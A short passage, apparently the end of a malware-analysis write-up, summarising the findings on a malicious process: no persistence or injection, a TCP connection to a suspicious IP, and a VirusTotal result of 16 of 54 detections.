Each of this steps give you evidence of malicious behaviour. In this case, it was straight forward to identify the malicious process.

There is no evidence that the malware is making itself persistent. Also, there is no evidence of code injection or rootkit code in order to hide itself. 

The malware perform TCP connection to suspicious IP.

Finally, I dumped the malicious process and I submit to VT and 16/54 detected it as malicious.

Next step is to reverse the malicious code :)